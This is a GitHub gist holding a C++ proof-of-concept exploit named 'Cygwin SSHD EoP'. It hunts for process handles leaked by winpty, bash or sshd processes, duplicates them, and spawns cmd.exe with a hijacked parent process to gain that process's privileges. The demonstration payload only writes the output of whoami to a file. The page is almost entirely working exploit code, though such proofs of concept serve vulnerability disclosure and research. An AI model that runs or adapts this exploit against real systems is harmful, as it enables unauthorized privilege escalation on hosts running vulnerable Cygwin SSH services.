Skip to content

Instantly share code, notes, and snippets.

@masthoon
Created January 21, 2019 07:54
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save masthoon/6435384f8ee6c4dae25f263977347732 to your computer and use it in GitHub Desktop.
Save masthoon/6435384f8ee6c4dae25f263977347732 to your computer and use it in GitHub Desktop.
Cygwin SSHD EoP
// CygEOP.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#include <psapi.h>
#pragma comment(lib, "ntdll.lib")
#define STATUS_SUCCESS 0
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation,
ObjectTypeInformation = 2
} OBJECT_INFORMATION_CLASS;
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemPathInformation = 4,
SystemProcessInformation = 5,
SystemCallCountInformation = 6,
SystemDeviceInformation = 7,
SystemProcessorPerformanceInformation = 8,
SystemFlagsInformation = 9,
SystemCallTimeInformation = 10,
SystemModuleInformation = 11,
SystemLocksInformation = 12,
SystemStackTraceInformation = 13,
SystemPagedPoolInformation = 14,
SystemNonPagedPoolInformation = 15,
SystemHandleInformation = 16,
SystemObjectInformation = 17
} SYSTEM_INFORMATION_CLASS;
typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION {
ULONG Attributes;
ACCESS_MASK GrantedAccess;
ULONG HandleCount;
ULONG PointerCount;
ULONG Reserved[10];
} PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG Reserved[22];
} PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION;
typedef struct _SYSTEM_HANDLE
{
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
WORD Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
extern "C" NTSYSCALLAPI NTSTATUS NtQueryObject(
HANDLE ObjectHandle,
OBJECT_INFORMATION_CLASS ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
extern "C" NTSYSCALLAPI NTSTATUS NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
PVOID zalloc(ULONG size) {
return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
}
PVOID zrealloc(PVOID mem, ULONG newSize) {
return HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, mem, newSize);
}
void zfree(PVOID mem) {
HeapFree(GetProcessHeap(), 0, mem);
}
HANDLE SpawnProcessWithParentHandle(WCHAR* commandLine, HANDLE parentProcess) {
STARTUPINFOEX sie = { 0 };
SIZE_T size = 0;
PROCESS_INFORMATION pi = { 0 };
HANDLE processHandle = parentProcess;
sie.StartupInfo.cb = sizeof(STARTUPINFOEX);
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
sie.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)calloc(1, size);
InitializeProcThreadAttributeList(sie.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(sie.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), 0, NULL);
SIZE_T rawSize = (wcslen(commandLine) + 1) * sizeof(WCHAR);
LPTSTR cmdLine = (LPTSTR)zalloc(rawSize);
memcpy(cmdLine, commandLine, rawSize);
if (0 == CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, &sie.StartupInfo, &pi)) {
printf("Failed CreateProcessW %x\n", GetLastError());
}
zfree(cmdLine);
// TODO: Close handles
return pi.hProcess;
}
BOOLEAN isProcessHandle(char* process, HANDLE h) {
PPUBLIC_OBJECT_TYPE_INFORMATION objectTypeInfo = (PPUBLIC_OBJECT_TYPE_INFORMATION)zalloc(sizeof(PUBLIC_OBJECT_TYPE_INFORMATION));
ULONG sizeNeeded = 0;
if (STATUS_INFO_LENGTH_MISMATCH == NtQueryObject(
h,
ObjectTypeInformation,
objectTypeInfo,
sizeof(PUBLIC_OBJECT_TYPE_INFORMATION),
&sizeNeeded
)) {
if (sizeNeeded == 0) {
sizeNeeded = sizeof(PUBLIC_OBJECT_TYPE_INFORMATION);
}
objectTypeInfo = (PPUBLIC_OBJECT_TYPE_INFORMATION)zrealloc(objectTypeInfo, sizeNeeded);
if (STATUS_SUCCESS == NtQueryObject(
h,
ObjectTypeInformation,
objectTypeInfo,
sizeNeeded,
NULL
)) {
if (objectTypeInfo->TypeName.Buffer == NULL) {
return false;
}
printf("PROCESS: %s HANDLE: %x TYPE:%S\n", strrchr(process, '\\'), h, objectTypeInfo->TypeName.Buffer);
if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
return true;
}
}
}
zfree(objectTypeInfo);
return false;
}
char* GetProcessName(DWORD pid) {
HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, pid);
char * filename = (char*)zalloc(0x1000);
GetProcessImageFileNameA(process, filename, 1000);
CloseHandle(process);
return filename;
}
void ListProcessHandleAndSpawnCommand() {
ULONG handleInfoSize = 0x10000;
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)zalloc(handleInfoSize);
/* NtQuerySystemInformation won't give us the correct buffer size, so we guess by doubling the buffer size. */
while (STATUS_INFO_LENGTH_MISMATCH == NtQuerySystemInformation(
SystemHandleInformation,
handleInfo,
handleInfoSize,
NULL
)) {
handleInfo = (PSYSTEM_HANDLE_INFORMATION)zrealloc(handleInfo, handleInfoSize *= 2);
}
for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
SYSTEM_HANDLE handle = handleInfo->Handles[i];
char* name = GetProcessName(handle.ProcessId);
if (strstr(name, "winpty") != NULL || strstr(name, "bash") != NULL || strstr(name, "sshd") != NULL) {
HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, 0, handle.ProcessId);
HANDLE localHandle = 0;
if (DuplicateHandle(process, (HANDLE)handle.Handle, GetCurrentProcess(), &localHandle, 0, 0, DUPLICATE_SAME_ACCESS)) {
if (isProcessHandle(name, localHandle)) {
printf("Found process handle in %s\n", name);
SpawnProcessWithParentHandle(L"C:\\Windows\\System32\\cmd.exe /C \"whoami >> C:\\cygwin64\\tmp\\abc\"", localHandle);
}
CloseHandle(localHandle);
}
CloseHandle(process);
}
zfree(name);
}
zfree(handleInfo);
}
int main()
{
ListProcessHandleAndSpawnCommand();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment